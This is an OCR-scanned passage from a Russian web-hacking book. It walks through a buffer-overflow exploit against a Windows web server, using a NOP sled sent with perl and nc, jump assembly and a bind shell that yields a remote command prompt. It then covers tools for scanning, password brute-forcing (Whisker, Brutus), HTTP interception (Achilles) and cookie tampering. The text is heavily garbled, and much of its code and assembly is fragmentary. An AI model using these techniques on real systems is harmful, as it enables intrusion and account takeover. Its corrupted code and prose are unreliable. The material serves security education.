пользовавшись командой d esi в программе
Было бы идеально, если бы в па
мять удалось загрузить фрагмент кода, выполняющий команду call esi или
esi.
При этом будет выполнен код, расположение которого в памяти определяется этим
регистром. Лучше всего непосредственно воспользоваться самим исполняемым кодом,
поскольку он остается статическим.
Загрузим файл
в оболочку W32Dasm. С ее помощью сам трюк выпол
нить не удастся, однако определенную пользу все же можно извлечь. Это чрезвычайно
быстрое средство, которое идеально подходит для поиска необходимой последовательно
сти инструкций. Введем строку call esi в окне поиска, как показано на рис. 14.3.
00403140
r
Рис. 14.3. Поиск
инструкции
Результаты поиска показали, что в качестве смещения используется значение
Ох0040336е. Вместо добавления строки
нужно добавить адрес инструкции call esi.
На забывайте, что терминальный символ NULL содержится в последнем байте. Вместо
передачи символа х необходимо отправить последовательность пустых инструкций
(NOOP), в которую внедрена строка int3. Для этого следует запустить программу Softlce
и для установки точки прерывания ввести команду bpint 3. Теперь эту последователь
ность команд нужно выполнить в
perl
х1399.
nc yourhost 9999
В результате выполнения этой команды было отправлено 1399 пустых инструкций
(NOOP), а после них --- код инструкции СС, который транслируется в int 3. Это приво
дит к изменению адреса возврата и выполнению инструкции call esi. Если придер
живаться плана, то отладчик сможет отследить вызов прерывания. Теперь в нашем
• распоряжении имеется код, выполняющийся в контексте удаленного процесса.
Очевидно, что в реальности код, состоящий из пустых инструкций вызова преры
вания, не представляет особой ценности. Так что воспользуемся кое чем более полез
ным и посмотрим, что из этого получится.
(На Web узле http://www.deepzone.org, который поддерживается Изэном
мож
но найти удобное средство генерации кода привязки к портам для платформы Win32.)
Для генератора требуются адреса двух функций --- LoadLibraryA и GetProcAddress,
используемых в исполняемых файлах или библиотеках DLL. Для получения этих ад
ресов можно воспользоваться дизассемблером или средством типа DUMPBIN. Место
положение этих двух функций показано на рис. 14.4.
298
Часть III. Как они это делают
Рис. 14.4. Адреса функций
и
Двумя требующимися смещениями являются 00406068 и 004060а8. Для динамиче
ского получения адресов других функций в сгенерированном коде используется две
функции. Генератор позволяет сгенерировать код в формате ASM, С, Perl и Java.
В системе нужно использовать такую последовательность байтов:
0x90 * 1400 ---
<адрес
Когда сервер получает эту строку, сохраненный при вызове функции () адрес
возврата замещается адресом, который указывает на инструкцию call esi. Регистр ESI
указывает на последовательность пустых инструкций, после которых следует код при
вязки к порту. После возврата из функции переход выполняется не к той инструкции,
к которой необходимо, а к инструкции call esi, при вызове которой будет выполнен
нужный код.
К сожалению, существует небольшая проблема. Байтов, контролируемых в ESI, не
достаточно для размещения всего кода, сгенерированного с использованием узла
deepzone. Еще раз прибегнем к дизассемблированию. Видно, что адрес O x 004098 f c по
мещается в стек перед вызовом функции
По этому адресу содержатся полу
ченные байты. Если в исходную строку добавить переход по этому адресу, то мы по
падем точно в цель.
еах, еах
mov еах, 4098fc99h
shr еах, 08
есх, есх
mov 20h
add е ах, есх
call еах
регистр еах
поме сти т ь адрес
в еах со значением 99 hex в
из регистра значение
регистр в есх
в есх
в еах, чтобы пропустить этот
нашу оболочку
После запуска этого кода сначала будет найден исходный буфер, затем к нему бу
дет добавлен небольшой фрагмент, после чего этот фрагмент кода будет выполнен.
Несколько нестандартный ассемблерный код применяется для того, чтобы избежать
использования
Для более полного ознакомления с данной реализацией
переполнения буфера, пройдите этот код с помощью отладчика.
Data sent.
Telnet to 192.168.10.2 port 8008 now.
Trying 192.168.10.2.
.
.
.
Connected to acmelabs.net
Escape character is
Microsoft Windows 2000 [Version 5.00.2195]
С Copyright 1985 1999 Microsoft Corp.
При выполнении этого кода с портом 8080 связывается командная оболочка. С ее
помощью можно выполнять практически неограниченные действия.
Глава 14. Переполнение буфера "на лету"
Контрмеры
Продемонстрированные в этой главе приемы могут оказаться для Web узла смер
тельными, поскольку они одним ударом предоставляют административный доступ к
его ресурсам. Однако без профессионального хакера, который мог бы найти изъян и
создать соответствующее средство взлома, подобные атаки очень трудно как обнару
жить, так и реализовать.
Для этих взломов трудно сформулировать контрмеры, поскольку проблема кроется
в самом коммерческом программном обеспечении (которое в основном нельзя кон
тролировать напрямую). Конечно, наилучшей контрмерой остается применение моду
лей обновления и новых версий программных продуктов от таких производителей,
как Microsoft и Apache. Однако, даже если в течение многих лет применять модули
обновления и сервисные пакеты, это не позволит
всех атак. Для мак
симально полной защиты Web сервера существует единственный способ. Он заключа
ется в установке какой либо системы предотвращения вторжений, например Entercept
Резюме
Искусный хакер может искать в программах условия переполнения буфера, а затем
использовать их для реализации атак. Хотя приемы, которые обсуждались в этой гла
ве, связаны с поиском изъянов программ в лабораторных условиях, их можно исполь
зовать и для поиска уязвимых мест в коммерческих приложениях.
Материал этой главы требует серьезных размышлений. Ее основная идея заключа
ется в том, что даже при использовании всех средств защиты, процедур и модулей об
новления вы по прежнему остаетесь уязвимыми, если не используете программного
обеспечения типа Entercept
которое позволяет предотвра
тить такие нападения.
300
Часть III. Как они это делают
ЧАСТЬ IV
Приемы
Web
Случай из жизни
Прохаживаясь по перрону метрополитена и просматривая только что купленный
журнал Wall Street Journal, Дэвид увидел заголовок: "Компьютерный червь наносит
новый удар по компаниям и обходится им в миллиарды долларов". Компьютерный
червь --- это самораспространяющаяся программа, которая инфицирует один компью
тер за другим, зачастую используя ресурсы инфицированного компьютера для про
должения своей злонамеренной деятельности.
Вне всякого сомнения, это нелепая оценка
Она не имеет ничего
общего с действительностью. Ведь того, о чем "кричал" заголовок, просто не сущест
вовало. Дэвид работал администратором по вопросам безопасности и обслуживал бо
лее 100 тыс. компьютерных систем интерактивной маклерской компании. Он помчал
ся на 53 й этаж офиса и включил свой переносной компьютер, чтобы запустить
Internet броузер. Он сразу зашел на Web узел Координационного центра CERT
(Carnegie Mellon Emergency Response Team,
на котором, по его мнению,
содержалась жизненно важная для него информация. Дэвид полагался на специали
стов этой группы в течение нескольких лёт. Данные с этого Web узла позволяли быть
готовым к нападениям из Internet, а также ко внутренним взломам. Получая описание
нового взлома, эта организация была далеко не самой отзывчивой, но, как правило,
предоставляла больше информации, чем другие организации, занимающиеся обеспе
чением безопасности, и в конечном счете стала наилучшим источником полезной
информации о взломах.
Группа CERT достаточно уверенно сообщила, что вчера вечером было поражено
около 100 млн. компьютерных систем. Примерно за 36 часов были получены сообще
ния со всего мира. Казалось, что это никогда не закончится. В более ранних сообще
ниях указывалось, что вирус червь мог работать на многих платформах и с множест
вом приложений, а чтобы скрыть свое местонахождение, пользовался достаточно ред
ким приемом, называемым
Известные до сих пор черви были
довольно безвредны. В них использовались стандартные изъяны подсистемы защиты,
которые и обнаруживались с помощью традиционных методов. В какой то момент
черви, которые инфицировали миллионы компьютеров в 2001 году, стали очень по
хожи на детскую игру. Пришел новый день, и Дэвид неожиданно осознал все послед
ствия этого события.
Червь поддерживал много платформ, поскольку мог инфицировать все три основ
ные операционные системы: Windows, Solaris и Linux. После проникновения на один
из компьютеров он продолжал сканировать локальную сеть в поисках как аналогич
ных, так и других систем. При этом для проникновения использовались известные
изъяны каждой платформы.
Этот вирус мог взаимодействовать с множеством приложений, поскольку в первое
время он инфицировал базы данных Oracle и SQL Server. В одном из направлений
атак использовались изъяны прикладного уровня, а в процесс переполнения буфера
вовлекалась хранимая процедура
сервера SQL Server компании Microsoft и
язык XML.
Червь был практически невидимым, поскольку шифровал свой трафик с использо
ванием протокола SSL. Это позволяло эффективно скрываться от систем выявления
вторжений (Intrusion Detection System --- IDS). Используя шифрование SSL, приме
няемое на многих коммерческих Web серверах, червь скрытно проникал на Web
серверы IIS и Apache, захватывал их ресурсы и приводил к прекращению работы кри
тически важных систем.
Дэвид подумал: "С быстрым распространением вирусов червей, поражающих кри
тические системы и важную инфраструктуру по всему миру, привычное нам
вскоре канет в Лету".
302
Часть IV. Приемы фу в Web
ГЛАВА 15
средства автоматизации
Не нужно относиться к ошибкам с презрением. Когда приходит
озарение и удача, даже самая глупая ошибка может привести к
постижению высочайшей истины. Важнейшие изобретения, кото
рые были сделаны на основе ошибочных гипотез практически во
всех областях науки, исчисляются сотнями, если не тысячами.
Стефан Цвейг, австрийский писатель
Введение
Большая часть информации, содержащейся в предыдущих главах, была посвящена
пошаговым процедурам обнаружения и
изъянов Web приложений, вы
полняемым вручную. Однако многие автоматизированные средства позволяют выпол
нить практически те же действия, но в десятки раз быстрее. При этом не требуется
затрачивать каких либо значительных усилий.
Некоторые из этих средств уже обсуждались (или, как минимум, упоминались) в
предыдущих главах. В этой главе рассматриваются те из
которые прежде остава
лись за кадром (или были описаны недостаточно полно), но все же заслуживают са
мого пристального внимания.
• Утилита Netcat, написанная Хоббитом (Hobbit), --- "швейцарский армейский
нож" хакера.
• Утилита Whisker лаборатории Rain Forest Puppy
---
одно из первых завершенных средств, предназначенных для поиска изъянов в Web.
• Утилита Brutus от группы специалистов компании HooBie Inc. (h ttp ://www .
--- одна из самых робастных программ, предназначенных
для прямого подбора паролей, используемых при аутентификации в Web.
• Программа Achilles, написанная Роберто Кардоном (Roberto Cardona,
--- один из первых proxy серверов HTTP, позволяю
щий динамически вставлять команды в поток данных HTTP.
• Программа Cookie
от компании Kookaburra Software
---
одно из лучших средств мониторинга данных cookie, создаваемых/удаляемых в
системе.
• Пакет
от компании Tennyson Maxwell Information Systems, Inc.
позволяющий по графику выполнять автоматизирован
ный сбор Web страниц и инвентаризацию Web серверов.
Netcat уже упоминалась и использовалась во многих примерах. Помимо
чрезвычайно богатого набора
эта утилита предоставляет еще одну важную
возможность. Ее можно использовать в сценариях как системы Windows, так и UNIX.
Уже поэтому Netcat заслуживает более подробно рассмотрения.
Как упоминалось в предыдущих главах, утилита Netcat является HTTP
посредником и запрашивает информацию от Web сервера напрямую, без использова
ния традиционного броузера. При выполнении
в Web утилита Netcat может
фактически полностью заменить броузер. Другими словами, она позволяет осущест
вить практически все (например, с использованием GET и
можно полу
чить информацию с Web сервера, извлечь исходный код или вставить символы в опе
раторы SQL). Поскольку Netcat запускается из командной строки, выполнение всех
этих действий можно легко автоматизировать.
Для начала посмотрим, как с помощью утилиты Netcat можно получить с сервера
Web страницу, используемую по умолчанию.
С:\> 192.168.0.5 81
GET / HTTP/1.0<crxlf>
304
Часть IV. Приемы фу в Web
<cr><lf>
HTTP/1.1 200 OK
Server:
Content Location:
Date:
27 Apr 2002 18:00:28 GMT
Content Type: text/html
bytes
Last Modified: Sat, 06 Apr 2002 06:48:32 GMT
ETag:
Content Length: 5
•
'
В приведенном фрагменте текст, выделенный жирным шрифтом, необходимо вве
сти в командной строке после начального запуска утилиты Netcat. Обратите внима
ние, что символы <cr><lf> обозначают нажатие в конце строки клавиши <Enter>. Пе
ред передачей команды на Web сервер эту клавишу нужно нажать дважды. Кроме то
го, следует заметить, что на странице
целевого сервера содержится
единственная строка со словом
Из приведенного фрагмента видно, что с Web
сервера были получены подробные данные о заголовке
и слово Hello.
Для того чтобы автоматизировать выполнение описанной выше процедуры с ис
пользованием Netcat, необходимо обладать навыками написания командных файлов
(Windows), сценариев на языке (Windows или UNIX) или сценариев оболочки
(UNIX). Однако в любом случае ниже будет показано, как это делается. Обратимся
еще раз к предыдущему примеру, в котором используемая по умолчанию Web
страница извлекалась с Web сервера с помощью утилиты Netcat. Создадим отдельный
текстовый файл
txt со списком целевых Web серверов.
www.example3.com
www.example4.com
www.example5.com
После этого создадим файл
с запросом GET.
GET /
<cr><lf>
Теперь файлом http.txt можно воспользоваться при запуске утилиты Netcat и бы
стро передать запрос GET всем необходимым Web серверам. Для этого достаточно
применить простой цикл системы Windows.
for It in (targets.txt) do type http.txt | nc 80
Параметр /f используется для считывания данных из файла
а оператор
do определяет
которые нужно выполнить: вставить содержимое строки GET
(из файла http.txt) в команду вызова Netcat. Цикл fo r повторяется до тех пор, пока
не будут обработаны все записи, содержащиеся в файле
Такая команда
позволяет получить все Web страницы, используемые по умолчанию на целевых сер
верах. Если эту строку добавить в командный файл Windows
то можно полу
чить гораздо больше ценной информации. Например, в выходных данных можно вы
полнить поиск таких ключевых слов, как
action или applet.
Приведенный простой пример позволяет получить полное представление об ос
новных принципах написания сценариев и самой утилите Netcat. Обратите внимание:
практически все, что рассматривается в этой книге, можно использовать в сценариях
с утилитой Netcat.
Глава 15.
в Web: средства автоматизации
305
Whisker
Это одна из первых
программ выявления изъянов в Web, которую мож
но использовать при автоматизации процедуры проверки. За годы своего существова
ния утилита Whisker стала в некотором роде культовым средством. И для этого есть
все основания. С ней связан внушительный список Web изъянов, известных в на
стоящее время. Используя сведения, предоставляемые центром NMRC (Nomad Mo
bile Research Center), консорциумом W3C (World Wide Web Consortium), бюллетенем
хакером Федором (Fyodor), компанией Network Associates и многими другими
специалистами в области обеспечения безопасности, эта утилита, разработанная в ла
боратории RFP, представляет собой робастное средство выявления Web изъянов, с
которым следует познакомиться как можно ближе.
Утилиту Whisker можно использовать как в Windows, так и в UNIX. Именно эта
универсальность и обеспечивает столь высокую ее популярность. В процессе работы
утилита Whisker пытается установить связь с целевым Web сервером и использует
файл
содержащий перечень всех проверок, которые необходимо выполнить.
Если соединение успешно установлено и возвращаемые сервером данные имеют
ожидаемый формат, то утилита Whisker сообщает об уязвимости сервера. Хотя реа
лизованный в этой программе подход и не отличается высокой "интеллек
туальностью" и иногда приводит к получению неправильных результатов, она все
же является одной из самых стабильных программ тестирования, известных в на
стоящее время.
Для того чтобы воспользоваться утилитой Whisker, достаточно запустить ее из ко
мандной строки.
h 192.168.0.5
--- whisker / / rain forest puppy / ww.wiretrip.net
= Host: 192.168.0.5
= Server: Apache/1.3.12 (Win32)
+ 200 OK: HEAD /cgi bin/printenv
+ 200 OK: HEAD /manual/
После ввода приведенной выше команды утилита Whisker подсоединилась к порту
80 узла
и определила, что на нем установлен Web сервер Apache/1.3.12 для
системы Windows (Win32). Кроме того, были идентифицированы четыре модуля Web
сервера:
raod_ssl/2.6.4,
и
Вся полученная
информация может существенно облегчить задачу взломщика. Утилита Whisker обна
ружила
две ссылки, которые являются потенциальными точками входа на сер
вер
и
Результаты использования первой ссылки пред
ставлены на рис.
Как уже не раз упоминалось в этой книге, информация, полученная с использова
нием подобной ссылки, представляет для взломщика чрезвычайную ценность. Она
содержит имя сервера, несколько путей и даже их описание. Если какой либо из Web
серверов предоставляет подобные данные, необходимо срочно принять соответствую
щие контрмеры.
Второй ссылкой является /manual. При ее использовании было обнаружено инте
рактивное руководство по развертыванию сервера Apache. Хотя в нем и не содержится
ценной информации, все же подобные документы должны находиться в другом месте.
Если подобные стандартные файлы по умолчанию хранятся на Web сервере, их
следует немедленно удалить.
306
Часть IV. Приемы фу в Web
/orac
HTTP ACCEPT
HTTP
S"
6.0;
NT S.O)"
"
SERVER
Server at
Port
p.
\
Рис. 15.1. Выходные данные, полученные при
ссылки
•
Подбор паролей "в лоб"
Если для контроля доступа к ресурсам на Web узле используется механизм аутен
тификации, то с помощью утилиты Whisker имена пользователей и пароли можно по
добрать "в лоб". Например, если при обращении к Web узлу появляется диалоговое
окно, аналогичное показанному на рис. 15.2, это означает, что для доступа к ресурсам
необходимо пройти стандартную аутентификацию HTTP.
Теперь с помощью параметров 0 и L утилиты Whisker можно выполнить подбор
регистрационных данных. Параметр U позволяет задать список пользовательских
имен, сгенерированный с использованием сценария listge n .pl (входящий в комплект
поставки Whisker), которые будут использоваться при установке соединения. В дейст
вительности такой прием можно использовать для доступа к Web серверам системы
UNIX, на которых применяется старый механизм управления состоянием и пользова
телями. Однако он может пригодиться и в некоторых других случаях.
Когда имя пользователя уже получено (либо прямым перебором, либо "на ощупь"),
с помощью параметра можно подобрать соответствующий пароль.
этого утилиту
Whisker необходимо запустить следующим образом:
С:\> whisker.pl h 192.168.0.5 р 82 / a
whisker /
rain forest puppy / www.wiretrip.net ---
Brute forcing authentication for user
on
Host: 192.168.0.5
Valid
combo
on following URL:
Глава 15. Хакинг в Web: средства автоматизации
307
В процессе подбора пароля для пользователя test утилита Whisker циклически
просматривала файл паролей до тех пор, пока не был обнаружен пароль test. По
умолчанию используется файл паролей pass.txt, содержащийся в каталоге \lists. При
необходимости этот файл можно отредактировать.
Выше показано применение утилиты Whisker для подбора "в лоб" данных, исполь
зуемых в процессе стандартной аутентификации на Web сервере. Однако не следует
забывать и о двух других формах аутентификации: с использованием форм и меха
низма NTLM. Есть несколько способов, с помощью которых можно определить ис
пользуемый метод. Однако проще всего внимательно посмотреть на диалоговое окно,
отображаемое клиентским броузером. Так, например, на рис. 15.3 показано стандарт
ное диалоговое окно
броузера Internet Explorer.
Please
name and
I
Г
Рис. 15.2. Диалоговое окно для ввода данных
аутентификации
Рис. 15.3. Диалоговое окно NTLM аутен
тификации
Сделать подобное утверждение можно на основании того, что в данном диалого
вом окне содержится поле Domain. Это поле используется в системе Windows для про
верки того, что пользователь относится к определенному домену.
Example Login Screen
Name:
15.4. Страница аутентификации с формой
308
Часть IV. Приемы фу в Web
Аутентификация на базе форм существенно отличается от двух других методов и при
подборе регистрационных данных "в лоб" требует совсем других подходов. На рис. 15.4
показана простая страница с формой, которая используется в процессе аутентификации.
При использовании механизма аутентификации на базе форм подобрать регистра
ционные данные труднее всего, особенно если речь идет об автоматизации этого про
цесса. Популярная программа Brutus является одним из немногих средств, с помощью
которых можно решить эту проблему.
• Brutus
Это многофункциональная программа взлома паролей Web. Она предназначена
для применения только в системе Windows, однако остается работоспособной при ис
пользовании различных механизмов аутентификации, включая следующие:
• HTTP (аутентификация Basic);
• FTP (File Transfer Protocol);
• HTTP
• SMB (Server Message Block);
• POP3 (Post Office Protocol v3);
• Telnet.
Хотя в настоящее время стандартный тип HTTP аутентификации используется в
Internet чаще всего, HTML формы также применяются достаточно часто. Чтобы вос
пользоваться утилитой Brutus для подбора регистрационных данных, применяемых в
стандартной HTTP аутентификации, достаточно задать цель в поле Target,
выбрать в списке Туре тип аутентификации HTTP (Basic
а затем определить до
полнительные параметры в группе Authentication Options. По умолчанию применяются
часто используемые имена пользователей и пароли (рис. 15.5).
Port
| |Step|
Positive
192.168.0.5/
HTTP
lest
Opened password containing Passwords.
of authentication attempts will be 4908
Engaging target 132.168.0.5 with HTTP Auth)
admin
Trying
administrator
Maximum total
attempts
to
Trying username: test
Maximum total authentication attempts
to 4024
username: guest
Trying username: root
username: backup
15.5. Подбор данных стандартной HTTP аутентификации с использованием
программы Brutus
Глава 15.
в Web: средства автоматизации
309
Из рис. 15.5 видно, что с использованием утилиты Brutus были получены пароли
пользователей administrator и test --- пустой пароль и test соответственно.
Однако, если список имен пользователей и паро
лей будет исчерпан, можно настроить программу
Brutus для подбора пароля "в лоб". Как видно из
рис. 15.6, с помощью конфигурационных парамет
ров можно задать длину пароля и набор символов,
который будет использоваться (все символы ASCII
или их подмножество).
В процессе работы (который потребует некото
рого времени) программа Brutus проверит все воз
15.6. Параметры программы
комбинации символов, соответствующих
Brutus, определяющие режим под выбранному набору. Из рис. 15.7 видно, что при
бора паролей "в
длине пароля от 0 до 6 символов и использовании
символов нижнего регистра полный перебор всех
вариантов паролей на компьютере Р4 с частотой 1.2 ГГц займет около месяца. Это
совсем не та скорость, на которую хотелось бы рассчитывать, однако программа
достаточно стабильно работает и предоставляет хорошие результаты.
С Custom Range
132168.0.5/
HTTP
HTTP
test
verified
321272407
be
per
t
remaining
Puc. 15.7. Использование программы Brutus для подбора паролей "в
Однако реальное преимущество, предоставляемое программой Brutus при взломе
паролей Web, связано с возможностью подбора регистрационных данных, для ввода
которых используются HTML формы. Утилита Brutus позволяет учесть особенности
любой формы, включая поддержку cookie и определяемые пользователем ответы. На
рис. 15.8 показаны конфигурационные параметры Brutus, которые можно при этом
использовать.
310
Часть IV. Приемы кунг фу в Web
Mm
fiddlbl
to
Параметры Brutus, используемые при аутен
тификации через форму HTML
Теперь, щелкнув на кнопке Learn From Settings, программе Brutus можно дать ука
зание исследовать форму регистрации и попытаться определить, что требуется для ау
тентификации. На рис. 15.9 показано, какие результаты были получены при исследо
вании целевой формы.
field
j
Puc. 15.9. Анализ формы с помощью про
граммы Brutus
В состав формы входит два поля: user и password. Проверку достоверности имени
пользователя и пароля выполняет серверный сценарий
С учетом
полученной информации можно
подобрать пароль с использованием
программы Brutus (рис. 15.10).
Программа Brutus является чрезвычайно гибкой и робастной, а кроме того,
предоставляет широкий спектр возможностей. С ее
можно взаимодей
ствовать практически со всеми основными механизмами аутентификации, за ис
ключением NTLM. Единственной известной программой, которая позволяет подоб
рать регистрационные данные NTLM, является FoundScan от компании
/f
com).
Глава 15. Хакинг в Web: средства автоматизации
311
Г Fake
Г
Г
Pass
3
|
fifi
HTTP
will
321272407
of authentication
be
192.168.0.5 HTTP
Disengaged
192.168.0.5
time:
attempts : 20427
Initialising.
..
verified
Maximum numbet of authentication
be
with HTTP
Результаты подбора данных аутентификации с использованием про
граммы Brutus
Achilles
Это одна из наиболее неустойчивых в работе, однако чрезвычайно мощных утилит
хакинга в Web, которая предназначена для системы Windows. Эта утилита функцио
нирует в качестве посредника. С ее помощью можно перехватить информацию, пере
даваемую Web серверу, внести в нее изменения, а затем передать серверу уже в от
корректированном виде. Такая модификация "на лету" данных, передаваемых пользо
вательским броузером серверу, открывает чрезвычайно широкие возможности для
злоумышленников.
Программа Achilles предоставляет следующие возможности:
• proxy сервер (с возможностью настройки используемых портов);
• перехват данных HTTP и SSL;
• вставка/модификация данных HTTP;
• пересчет требующихся HTTP полей;
• проверка на переполнение буфера;
• регистрация HTTP и SSL сеансов.
Основные возможности, которые будут продемонстрированы ниже, --- это перехват
трафика HTTP и SSL, а также модификация передаваемых данных. Это
важные особенности программы Achilles. Реализуемый при этом процесс проиллюст
рирован на рис.
312
Часть Приемы фу в Web
Клиент
Web сервер
После щелчка в окне программы Achilles
на кнопке
запрос клиентского
броузера отсылается на Web сервер
для обработки
Web сервер отвечает клиенту. Если флажок
Intercept Server Data установлен, программа
Achilles будет перехватывать также ответ
сервера, а передего доставкой в пункт
назначения (клиентский броузер) ожидать
щелчка на кнопке Send
На клиентском компьютере
трафик броузера передается
на порт5000 программы
Achilles
Клиентскийброузер
Рис. 15.11. Перехват данных с использованием программы
Для использования программы Achilles ее необходимо запустить, а затем устано
вить следующие флажки:
• Intercept Mode ON;
• Intercept Client Data.
После этого нужно щелкнуть на кнопке Start. Однако, перед тем как приступить к
использованию программы Achilles в качестве посредника между Internet и тестируе
мым Web узлом, следует внести изменения в конфигурационные параметры броузера.
Необходимо обеспечить, чтобы программа Achilles использовалась броузером в каче
стве proxy сервера. По умолчанию она связана с портом 5000. Следовательно, для того
чтобы броузер Internet Explorer смог использовать этот порт как "адрес" proxy
сервера, выполните приведенную ниже последовательность действий.
1. Выберите команду
Options.
2. Перейдите во вкладку Connections.
.
3. Щелкните на кнопке LAN Settings.
4. Установите в группе параметров Proxy Server флажок Use a proxy server fo r
5. В поле Address введите адрес локального узла 127.0.0.1.
6. В поле Port укажите порт 5000, который используется программой Achilles по
умолчанию (или любой другой используемый вместо него порт).
После настройки броузера можно приступать к путешествию в Web уже через
программу
и к отслеживанию каждого запроса, передаваемого на целевой сер
вер. Так, например, на рис. 15.12 показан запрос GET и поля заголовка, которые были
переданы целевому серверу.
Запрос GET был отправлен Web серверу, а программа Achilles его перехватила. Те
перь необходимо щелкнуть на кнопке Send в нижней левой части окна, чтобы отпра
вить запрос на целевой Web сервер. При необходимости перехваченные данные мож
но изменить, а затем для их передачи на сервер щелкнуть на кнопке
Глава 15. Хакинг в Web: средства автоматизации
313
I
Accept
J
6.0.
NT 5.0)
Host
Puc. 15.12. Перехват запроса GET с помощью программы Achilles
Помимо перехвата клиентских данных, Achilles позволяет также захватывать дан
ные, передаваемые сервером. Для этого достаточно установить флажок Intercept Server
После этого будет перехватываться не только запрос клиента, но и ответ
сервера. Это позволяет лучше разобраться с данными cookie, а также механизмом
управления состоянием, реализованным на Web сервере.
К сожалению, программа Achilles ничего не сообщает о том, что отображается в
окне редактирования: запрос или ответ. Другими словами, содержимое этого окна
может быть либо запросом, отправленным
Web серверу, либо ответом Web
сервера на запрос броузера. Поэтому для эффективного использования Achilles нужно
правильно понимать последовательность передачи этих сообщений (что подробно
описано в главе
Пример реального использования программы Achilles представлен в следующем
разделе. Вопросы "перевоплощения" более подробно рассматриваются в главе
Cookie Pal
Программа Cookie Pal --- одно из лучших средств мониторинга состояния системы.
Данные cookie представляют собой поля, создаваемые в одном или нескольких файлах
и используемые броузером для поддержки состояния и получения информации с
Web сервера. Как правило, эти данные скрыты от пользователя и сами по себе не
представляют большой опасности. Однако с использованием данных cookie можно
ввести Web сервер в заблуждение и получить от него дополнительную информацию.
Другими словами, модифицировав данные cookie в запросе GET, можно зарегистриро
ваться в качестве другого пользователя.
Серверами и броузерами могут использоваться два типа данных cookie: временные
(на время сеанса) и постоянные. Временные данные cookie хранятся в оперативной
памяти и удаляются после закрытия клиентского броузера; постоянные размещаются
на жестком диске и считываются броузером при необходимости. Например, постоян
ные данные cookie броузера Internet Explorer хранятся в каталоге
and
На каждом Web узле имеются собственные файлы, в
которых хранятся данные cookie. Например, в приведенном ниже файле содержится
314
Часть IV. Приемы фу в Web
три поля cookie: идентификационный номер (RMID), имя (welcome) и имя пользовате
ля/пароль (userinfo):
RMID
1056
3567004032
30124358
4178596544
29486711
*
Stuart
1056
1240627200
30394925
4269326544
29486711
*
userinfo
1056
1240627200
30394925
4273736544
29486711
*
Программа Cookie Pal позволяет управлять как временными, так и постоянными
cookie еще до их сохранения в оперативной памяти или на жестком диске соответст
венно. Это достигается за счет перехвата ответа Web сервера и отображения перехва
ченных данных в диалоговом окне Alert (рис.
Рис. 15.13. Диалоговое окно Alert про
граммы Cookie Pal
В этом окне отображается имя сервера, передавшего данные cookie, имя поля
(Name), его значение и дата истечения срока действия. В этом же окне можно либо
принять данные cookie, либо отказаться от них. После того как данные будут при
няты, ими можно управлять с использованием средств пользовательского интерфей
са (рис.
Глава
в Web: средства автоматизации
315
V Session
|
|
|
The
any cookies ther
which
on
••
*
com
com
mtn.com
Click
to
rfomalion.
Nome
AM
AM
AM
PM SITESERVER
sdcSUP
id
PREF
5:00 PM
PM
5:00 PM
ff
Г
|
| Value
On
.'
Основное
окно программы Cookie Pal
При переходе во вкладку Session диалогового окна будут отображены временные
данные cookie, а при переходе во вкладку Cookies --- постоянные. В пользователь
ском интерфейсе можно просматривать все существующие поля, а также удалять их
при необходимости (кнопка Delete для постоянных данных и кнопка Clear --- для
временных). Эта возможность оказывается чрезвычайно полезной, если необходимо
периодически удалять многочисленные файлы cookie, которые скопились за время
путешествий в Internet.
Как правило, в файлах cookie фиксируется такая информация, как сохраненные
имена пользователей/пароли, пользовательские предпочтения, адреса электронной
почты и данные, используемые в процессе интерактивной регистрации. В этих
"безобидных" данных cookie взломщик может найти огромное количество ценной
информации. Однако эти данные хранятся только в оперативной памяти или на жест
ком диске. Поэтому удаленный злоумышленник не сможет получить к ним доступ,
тем более, воспользоваться ими для нападения. Хотя данные cookie в целом и без
вредны, к ним нужно относиться с осторожностью.
Данные cookie могут оказаться в чужих руках либо в результате кражи (если ваш со
сед работает в том же сегменте локальной сети), либо после обратного проектирования.
Если хакеру удастся заполучить (например, с использованием программы Cookie Pal) и
расшифровать структуру cookie, он с успехом сможет выдать себя за другого пользовате
ля. Для интерактивных Web узлов банков или торговых компаний подобная перспекти
ва чрезвычайно опасна, поскольку злоумышленники (посторонние или "свои") смогут
под чужим именем участвовать в продажах акций или банковских транзакциях. Получив
из данных cookie любую идентификационную информацию, в частности имя пользова
теля/пароль, хакер может выступить в роли какого либо другого пользователя.
Рассмотрим простой пример, чтобы лучше ощутить влияние данных cookie на
обеспечение безопасности и конфиденциальности. В приведенном ниже коде ASP
броузеру пользователя передаются специальные данные cookie, в которых хранится
количество посещений Web узла данным клиентом. Далее это число отображается в
окне броузера.
cookies
If = Then
date + 365
316
Часть IV. Приемы фу в Web
Else
End If
•1
•
+1
if
then
<font face=verdana size=20>0ur Cookie Example</fontxbrxbr>
<font face=verdana size=6>This is the</fontxfont face=verdana size=6
<b>first time</bx/font>
<font face=verdana size=6>you have graced us with your
else
<font
size=20xb>Welcome
<font face=verdana size=6>You have visited this Web
<font face=verdana
color=redxb>
if
then
time
else
times before!"
end if
end if
</b></font>
</body>
</html>
При первом
целевого Web узла броузером было получено начальное
значение cookie (рис.
You
totowing cookie:
1
Рис.
Исходное значение cookie
Программа Cookie Pal перехватила эти данные и предложила либо принять их, ли
бо отказаться от них. После принятия данных на клиентском компьютере появились
временные cookie (рис. 15.16) и постоянные cookie (рис.
Глава 15. Хакинг в Web: средства автоматизации
317
Session В
fl|
|
for
I
192.168.0.9
•
1
.
Временные данные cookie
H
Г
15.17. Постоянные данные cookie
В окне броузера отображаются результаты обработки
(рис. 15.18).
Из содержимого окна броузера видно, что на клиентском компьютере не были
обнаружены данные cookie с нужным именем
Таким образом, дан
ные cookie были добавлены в клиентский броузер. При следующем посещении
Web узла (или после щелчка на кнопке Refresh в броузере) существующие данные
cookie будут загружены в буфер броузера и на экране появится диалоговое окно,
показанное на рис. 15.19.
Обратите внимание, что теперь передается значение 2, а не 1. Причина заключает
ся в том, что в буфере броузера уже содержится значение cookie, полученное ранее с
узла 192.168.0.9. Поэтому данное значение будет увеличено на 1. На рис. 15.20 пока
зано, что при этом будет отображаться в окне броузера.
318
Часть IV. Приемы фу в Web
Our Cookie Example
This is the first timeyou have graced
us with your presence.
Результаты обработки
Рис. 15.19. Повторный перехват данных cookie
Если
Web сервера (и его
око) необходимо "обмануть",
можно воспользоваться программой Achilles, модифицировать данные cookie и пере
дать этому сценарию большое число. Для этого нужно настроить программу Achilles
для использования в качестве proxy сервера, а затем ввести в броузере адрес целевого
узла: 192.168,0.9. На рис. 15.21 показано диалоговое окно программы Achilles.
После этого в диалоговом окне Achilles для параметра
нужно задать
какое нибудь большое значение, например 99999999, затем щелкнуть на кнопке
Send (рис. 15.22).
